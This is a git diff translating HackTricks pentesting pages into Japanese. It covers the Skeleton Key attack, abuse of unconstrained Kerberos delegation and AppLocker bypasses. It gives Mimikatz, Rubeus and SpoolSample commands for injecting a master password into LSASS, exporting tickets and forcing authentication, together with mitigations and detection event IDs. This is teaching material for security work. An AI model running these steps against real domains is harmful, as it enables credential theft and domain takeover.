PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/active-directory-methodology/skeleton-key.md b/windows-hardening/active-directory-methodology/skeleton-key.md index 9bbf0dc70..b3b7276b8 100644 --- a/windows-hardening/active-directory-methodology/skeleton-key.md +++ b/windows-hardening/active-directory-methodology/skeleton-key.md @@ -1,76 +1,69 @@ -# Skeleton Key +# スケルトンキー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-## **Skeleton Key** +## **スケルトンキー** -**From:** [**https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/**](https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/) +**出典:** [**https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/**](https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/) -There are several methods for compromising Active Directory accounts that attackers can use to elevate privileges and create persistence once they have established themselves in your domain. The Skeleton Key is a particularly scary piece of malware targeted at Active Directory domains to make it alarmingly easy to hijack any account. This malware **injects itself into LSASS and creates a master password that will work for any account in the domain**. Existing passwords will also continue to work, so it is very difficult to know this attack has taken place unless you know what to look for. +攻撃者がドメイン内に侵入した後、特権を昇格させ、持続性を作成するために使用できるActive Directoryアカウントの侵害方法はいくつかあります。スケルトンキーは、Active Directoryドメインを対象とした特に恐ろしいマルウェアで、任意のアカウントを乗っ取ることが驚くほど簡単になります。このマルウェアは**LSASSに自己注入し、ドメイン内の任意のアカウントで機能するマスターパスワードを作成**します。既存のパスワードも引き続き機能するため、この攻撃が行われたことを知るのは非常に困難です。 -Not surprisingly, this is one of the many attacks that is packaged and very easy to perform using [Mimikatz](https://github.com/gentilkiwi/mimikatz). Let’s take a look at how it works. +予想通り、これは[Mimikatz](https://github.com/gentilkiwi/mimikatz)を使用して非常に簡単に実行できる多くの攻撃の1つです。それがどのように機能するかを見てみましょう。 -### Requirements for the Skeleton Key Attack +### スケルトンキー攻撃の要件 -In order to perpetrate this attack, **the attacker must have Domain Admin rights**. This attack must be **performed on each and every domain controller for complete compromise, but even targeting a single domain controller can be effective**. **Rebooting** a domain controller **will remove this malware** and it will have to be redeployed by the attacker. +この攻撃を行うためには、**攻撃者はドメイン管理者権限を持っている必要があります**。この攻撃は**完全な侵害のためにすべてのドメインコントローラで実行する必要がありますが、単一のドメインコントローラを対象にするだけでも効果的です**。ドメインコントローラを**再起動**すると、このマルウェアは削除され、攻撃者によって再展開する必要があります。 -### Performing the Skeleton Key Attack +### スケルトンキー攻撃の実行 -Performing the attack is very straightforward to do. It only requires the following **command to be run on each domain controller**: `misc::skeleton`. After that, you can authenticate as any user with the default password of Mimikatz. +攻撃の実行は非常に簡単です。各ドメインコントローラで次の**コマンドを実行するだけです**: `misc::skeleton`。その後、Mimikatzのデフォルトパスワードを使用して、任意のユーザーとして認証できます。 -![Injecting a skeleton key using the misc::skeleton into a domain controller with Mimikatz](https://blog.stealthbits.com/wp-content/uploads/2017/07/1-3.png) +![Mimikatzを使用してドメインコントローラにスケルトンキーを注入する](https://blog.stealthbits.com/wp-content/uploads/2017/07/1-3.png) -Here is an authentication for a Domain Admin member using the skeleton key as a password to get administrative access to a domain controller: +以下は、スケルトンキーをパスワードとして使用してドメインコントローラに管理アクセスを取得するためのドメイン管理者メンバーの認証です。 -![Using the skeleton key as a password with the misc::skeleton command to get administrative access to a domain controller with the default password of Mimikatz](https://blog.stealthbits.com/wp-content/uploads/2017/07/2-5.png) +![Mimikatzのデフォルトパスワードを使用してドメインコントローラに管理アクセスを取得するためのスケルトンキーをパスワードとして使用する](https://blog.stealthbits.com/wp-content/uploads/2017/07/2-5.png) -Note: If you do get a message saying, “System error 86 has occurred. The specified network password is not correct”, just try using the domain\account format for the username and it should work. +注意: "System error 86 has occurred. The specified network password is not correct"というメッセージが表示された場合は、ユーザー名にドメイン\アカウントの形式を使用してみてください。 -![Using the domain\account format for the username if you get a message saying System error 86 has occurred The specified network password is not correct](https://blog.stealthbits.com/wp-content/uploads/2017/07/3-3.png) +!["System error 86 has occurred. The specified network password is not correct"というメッセージが表示された場合は、ユーザー名にドメイン\アカウントの形式を使用してみてください](https://blog.stealthbits.com/wp-content/uploads/2017/07/3-3.png) -If lsass was **already patched** with skeleton, then this **error** will appear: +もしlsassがすでにスケルトンキーでパッチされている場合、このエラーが表示されます: ![](<../../.gitbook/assets/image (160).png>) -### Mitigations +### 緩和策 -* Events: - * System Event ID 7045 - A service was installed in the system. (Type Kernel Mode driver) - * Security Event ID 4673 – Sensitive Privilege Use ("Audit privilege use" must be enabled) - * Event ID 4611 – A trusted logon process has been registered with the Local Security Authority ("Audit privilege use" must be enabled) +* イベント: +* システムイベントID 7045 - システムにサービスがインストールされました(カーネルモードドライバータイプ) +* セキュリティイベントID 4673 - 機密特権の使用("特権の使用を監査する"が有効になっている必要があります) +* イベントID 4611 - ローカルセキュリティ機関に信頼されたログオンプロセスが登録されました("特権の使用を監査する"が有効になっている必要があります) * `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "`_`Kernel Mode Driver"}`_ -* This only detect mimidrv `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$`_`.message -like "Kernel Mode Driver" -and $`_`.message -like "`_`mimidrv`_`"}` -* Mitigation: - * Run lsass.exe as a protected process, it forces an attacker to load a kernel mode driver - * `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose` - * Verify after reboot: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "`_`protected process"}`_ +* これはmimidrvのみを検出します `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$`_`.message -like "Kernel Mode Driver" -and $`_`.message -like "`_`mimidrv`_`"}` +* 緩和策: +* lsass.exeを保護されたプロセスとして実行し、攻撃者がカーネルモードドライバをロードすることを強制します +* `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose` +* 再起動後に確認: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "`_`protected process"}`_
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、 +- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/windows-hardening/active-directory-methodology/unconstrained-delegation.md index e6f8aac2e..778a0894f 100644 --- a/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -1,75 +1,61 @@ -# Unconstrained Delegation +# 制約のない委任 -
+これは、ドメイン管理者がドメイン内の任意の**コンピュータ**に設定できる機能です。その後、**ユーザーがコンピュータにログイン**するたびに、そのユーザーの**TGTのコピー**がDCによって提供される**TGSに送信され、LSASSのメモリに保存**されます。したがって、マシンで管理者特権を持っている場合、チケットをダンプして他のマシンでユーザーをなりすますことができます。 -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +したがって、ドメイン管理者が「制約のない委任」機能が有効になっているコンピュータにログインし、そのマシンでローカル管理者特権を持っている場合、チケットをダンプしてドメイン管理者をどこでもなりすますことができます(ドメイン特権昇格)。 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +この属性を持つ**コンピュータオブジェクトを見つける**には、[userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx)属性が[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)を含んでいるかどうかを確認します。これは、powerviewが行う方法です。 -
- -## Unconstrained delegation - -This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine. - -So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc). - -You can **find Computer objects with this attribute** checking if the [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) attribute contains [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does: - -
# List unconstrained computers
+```bash
+# 制約のないコンピュータの一覧
 ## Powerview
-Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-# Export tickets with Mimikatz
-privilege::debug
-sekurlsa::tickets /export #Recommended way
-kerberos::list /export #Another way
+Get-NetComputer -Unconstrained # DCは常に表示されますが、特権昇格には役立ちません
+## ADSearch
+ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
+# Mimikatzでチケットをエクスポート
+privilege::debug
+sekurlsa::tickets /export # 推奨される方法
+kerberos::list /export # 別の方法
 
-# Monitor logins and export new tickets
-.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
+# ログインを監視して新しいチケットをエクスポート +.\Rubeus.exe monitor /targetuser: /interval:10 # 新しいTGTを10秒ごとにチェック +``` -Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\ -More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ -[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) +**Mimikatz**または**Rubeus**を使用して、管理者(または被害者のユーザー)のチケットをメモリにロードし、[**パス・ザ・チケット**](pass-the-ticket.md)**を実行します。**\ +詳細情報:[https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ +[**ired.teamのUnconstrained delegationに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) -### **Force Authentication** +### **強制認証** -If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\ -Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account. - -To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample): +攻撃者が「制約のない委任」が許可されたコンピュータを**侵害**できる場合、**プリントサーバー**を**自動的にログイン**させ、サーバーのメモリにTGTを保存することができます。\ +その後、攻撃者は**パス・ザ・チケット攻撃**を実行して、ユーザーのプリントサーバーコンピューターアカウントをなりすますことができます。 +プリントサーバーを任意のマシンにログインさせるには、[**SpoolSample**](https://github.com/leechristensen/SpoolSample)を使用できます。 ```bash .\SpoolSample.exe ``` +もしTGTがドメインコントローラーから来ている場合、[**DCSync攻撃**](acl-persistence-abuse/#dcsync)を実行して、DCからすべてのハッシュを取得することができます。\ +[**この攻撃に関する詳細は、ired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) -If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse/#dcsync) and obtain all the hashes from the DC.\ -[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) - -**Here are other ways to try to force an authentication:** +**他の認証を強制する方法は以下の通りです:** {% content-ref url="printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](printers-spooler-service-abuse.md) {% endcontent-ref %} -### Mitigation +### 緩和策 -* Limit DA/Admin logins to specific services -* Set "Account is sensitive and cannot be delegated" for privileged accounts. +* 特定のサービスに対してDA/Adminログインを制限する +* 特権アカウントに対して「アカウントは機密であり、委任できない」と設定する。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/authentication-credentials-uac-and-efs.md b/windows-hardening/authentication-credentials-uac-and-efs.md index bb5b80f86..893010739 100644 --- a/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/windows-hardening/authentication-credentials-uac-and-efs.md @@ -1,35 +1,34 @@ -# Windows Security Controls +# Windowsセキュリティコントロール
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
![](<../.gitbook/assets/image (9) (1) (2).png>) -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## AppLocker Policy +## AppLockerポリシー -An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization. +アプリケーションホワイトリストは、システム上で存在し実行されることが許可されている承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。その目的は、特定のビジネスニーズに合わない有害なマルウェアや非承認のソフトウェアから環境を保護することです。 -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **application whitelisting solution** and gives system administrators control over **which applications and files users can run**. It provides **granular control** over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. \ -It is common for organizations to **block cmd.exe and PowerShell.exe** and write access to certain directories, **but this can all be bypassed**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)は、Microsoftの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する機能**を提供します。実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージ化されたアプリ、パックされたアプリインストーラーに対して**細かい制御**を提供します。\ +組織が**cmd.exeとPowerShell.exeをブロック**し、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避できます。 -### Check - -Check which files/extensions are blacklisted/whitelisted: +### チェック +ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します: ```powershell Get-ApplockerPolicy -Effective -xml @@ -38,61 +37,58 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` +ホストに適用されたAppLockerのルールは、**`HKLM\Software\Policies\Microsoft\Windows\SrpV2`**の**ローカルレジストリから読み取る**こともできます。 -AppLocker rules applied to a host can also be **read from the local registry** at **`HKLM\Software\Policies\Microsoft\Windows\SrpV2`**. - -### Bypass - -* Useful **Writable folders** to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside `C:\Windows\System32` or `C:\Windows` there are **writable folders** you can use to **bypass this**. +### バイパス +* AppLockerポリシーをバイパスするための**書き込み可能なフォルダ**の利用: もしAppLockerが`C:\Windows\System32`または`C:\Windows`内の何でも実行を許可している場合、**バイパスするために使用できる書き込み可能なフォルダ**があります。 ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` +* 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)のバイナリもAppLockerをバイパスするのに役立つことがあります。 +* **不適切に書かれたルールもバイパスできる**ことがあります。 +* たとえば、**``**という場合、**`allowed`**という名前のフォルダをどこにでも作成すると許可されます。 +* 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`の実行可能ファイルをブロック**することに焦点を当てますが、**他の**[**PowerShellの実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell\_Executables\_File\_System\_Locations)、たとえば`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`を忘れがちです。 +* **DLLの強制は非常に稀に有効化**されます。システムに負荷をかけることができ、何も壊れないことを確認するために必要なテストの量が多いためです。そのため、**DLLをバックドアとして使用するとAppLockerをバイパスするのに役立ちます**。 +* [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)または[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスすることができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を参照してください。 -* Commonly **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries can be also useful to bypass AppLocker. -* **Poorly written rules could also be bypassed** - * For example, **``**, you can create a **folder called `allowed`** anywhere and it will be allowed. - * Organizations also often focus on **blocking the `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, but forget about the **other** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell\_Executables\_File\_System\_Locations) such as `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` or `PowerShell_ISE.exe`. -* **DLL enforcement very rarely enabled** due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using **DLLs as backdoors will help bypassing AppLocker**. -* You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass AppLocker. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). - -## Credentials Storage +## 認証情報の保存 ### Security Accounts Manager (SAM) -Local credentials are present in this file, the passwords are hashed. +ローカルの認証情報はこのファイルに保存されており、パスワードはハッシュ化されています。 ### Local Security Authority (LSA) - LSASS -The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\ -**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\ -LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user. +**認証情報**(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリに保存されます。\ 